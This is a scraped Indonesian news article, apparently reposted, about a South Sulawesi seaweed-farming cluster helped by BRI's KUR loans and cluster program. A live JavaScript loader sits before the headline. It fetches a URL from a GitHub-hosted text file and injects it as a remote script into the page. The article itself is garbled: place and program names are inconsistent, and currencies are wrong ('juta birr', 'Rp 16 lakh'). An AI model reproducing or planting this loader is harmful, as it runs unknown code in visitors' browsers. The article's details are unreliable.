;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); UMKM Binaan BRI Ini Dorong Ekonomi Nelayan Pesisir Sulawesi Selatan – Jurnal Berita

Jurnal Berita

Sebuah Berita dan Informasi dari Seluruh Dunia

Entrepreneur

UMKM Binaan BRI Ini Dorong Ekonomi Nelayan Pesisir Sulawesi Selatan

JAKARTA, CNBC Indonesia – Pantai dengan air laut yang jernih terlihat sejauh mata memandang dari halaman depan rumah. Pemandangan seperti itu sehari-hari disaksikan masyarakat di Desa Lacepang, Kecamatan Lamalaka, Kabupaten Bantang, Sulawesi Selatan atau Desa Pogo. Sebagai wilayah yang berada di dekat pantai, aktivitas perekonomian masyarakatnya berkaitan dengan laut.

Selain berprofesi sebagai nelayan, ada juga masyarakat yang berprofesi sebagai petani rumput laut. Sudirman yang aktif bertani rumput laut sejak tahun 2003 dan kini menjadi ketua klaster usaha rumput laut di Desa Pogo pun mengikuti jejaknya.

Sudirman mengalami berbagai suka dan duka selama menjalankan budidaya rumput laut dan kini anggota klasternya semakin sukses berkat bantuan BRI melalui program Hidupku yang dimiliki klaster tersebut.

“Awalnya di sini ada beberapa orang yang memproduksi rumput laut dan sepertinya mereka sukses. Lalu akhirnya saya tertarik untuk ikut usaha yang sama. Jadi saya pergi melihat bagaimana mereka bekerja saat itu, bagaimana mereka memasang jangkar, ketika mereka memasang tali yang besar, talinya “kecil, untuk meregang. Di situ saya belajar sampai bisa sendiri,” kata Sudirman seperti dikutip, Kamis (28/3/2024).

Sedangkan Klaster Perdagangan Rumput Laut Desa Pogo Ia mengatakan, pihaknya baru berdiri sekitar tahun 2019 dan mendapat masukan dari guru-guru dinas perikanan yang datang ke desanya saat itu.

“Saat itu, tahun 2019, ada guru dari Dinas Perikanan yang menanyakan apakah saya punya kelompok, tapi saya bilang saat itu saya belum punya. Lalu mereka mengusulkan untuk membentuk kelompok dan saya paham. Di sini, di sana Ada nelayan dan ada petani rumput laut, jadi nelayan. Beliau ingin ada pengabdian dan akhirnya terciptalah kelompok usaha ini,” lanjutnya.

Sejauh ini sudah ada 10 orang anggota klaster usaha yang tergabung dan saling membantu dengan melakukan kegiatan budidaya rumput laut setiap harinya. “Misalnya ada yang butuh peralatan, kalau mau menanam rumput laut harus punya perahu. Kalau tidak punya, kita bisa pinjam ke kelompok lain,” imbuhnya.

Produk rumput laut yang dihasilkan dijual dalam keadaan kering. Pembeli biasanya datang langsung ke lokasi untuk bernegosiasi dengan pemiliknya. Kalau harganya cocok, pasti laku.

“Pendapatan bulanan tergantung cuaca. Kalau cuaca bagus dan normal, 400 kg per 100 bentangan. Warnanya kuning, berarti pertumbuhannya agak lambat. Kalau banjir juga kena. Jadi tantangannya Usaha ini semua tergantung cuaca. Harga jualnya sendiri rata-rata. Kalaupun Rp 16 lakh per kilogram, harganya sendiri fluktuatif,” tegas Sudirman.

Lebih efektif berkat bantuan BRI.

Bukan berarti usaha budidaya rumput laut Sudirman berjalan tanpa modal. Diakuinya, banyak peralatan yang harus dimiliki petani seperti perahu, tali spons, tali kecil, jangkar dan masih banyak lagi. Beruntungnya, selama menjalankan usaha tersebut, ia mendapat dukungan permodalan dari BRI berupa pinjaman Kredit Usaha Rakyat (KUR).

Ia mengaku telah menerima KUR BRI senilai 50 juta birr dan seluruhnya akan digunakan untuk menambah modal mengembangkan usaha budidaya rumput lautnya. Selain itu, Klaster Usaha Rumput Laut Desa Pogo mendapat bantuan dari program KlasterkuHidupku yang diinisiasi BRI. dia melanjutkan.

Diakuinya, bantuan program KlasterkuHidupku telah membantu produktivitas anggota Klaster Usaha Rumput Laut. “Alhamdulillah memudahkan kami. Terima kasih banyak atas bantuan BRI, sekarang kami bisa lebih hemat dalam budidaya rumput laut kapas. Kami berharap kerjasama ini dapat terus berlanjut kedepannya dan semoga usaha kami semakin lancar di masa mendatang. masa depan,” kata Sudirman.

Pada kesempatan lain, Direktur Bisnis Mikro BRI Supari menyampaikan melalui program Kalsterkujiwaku, BRI berkomitmen untuk mendukung dan mendampingi para pelaku usaha tidak hanya berupa permodalan usaha, namun juga pelatihan usaha dan lain-lain. Program pembangunan.

“Selain itu, produktivitas kelompok usaha juga kami dorong dengan dukungan sarana atau prasarana usaha. Kami berharap bantuan yang diberikan dapat dimanfaatkan semaksimal mungkin,” ujarnya.

Simak videonya di bawah ini: Video: Keuntungan Bisnis Kopi Asli Indonesia (Rah/Rah)

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *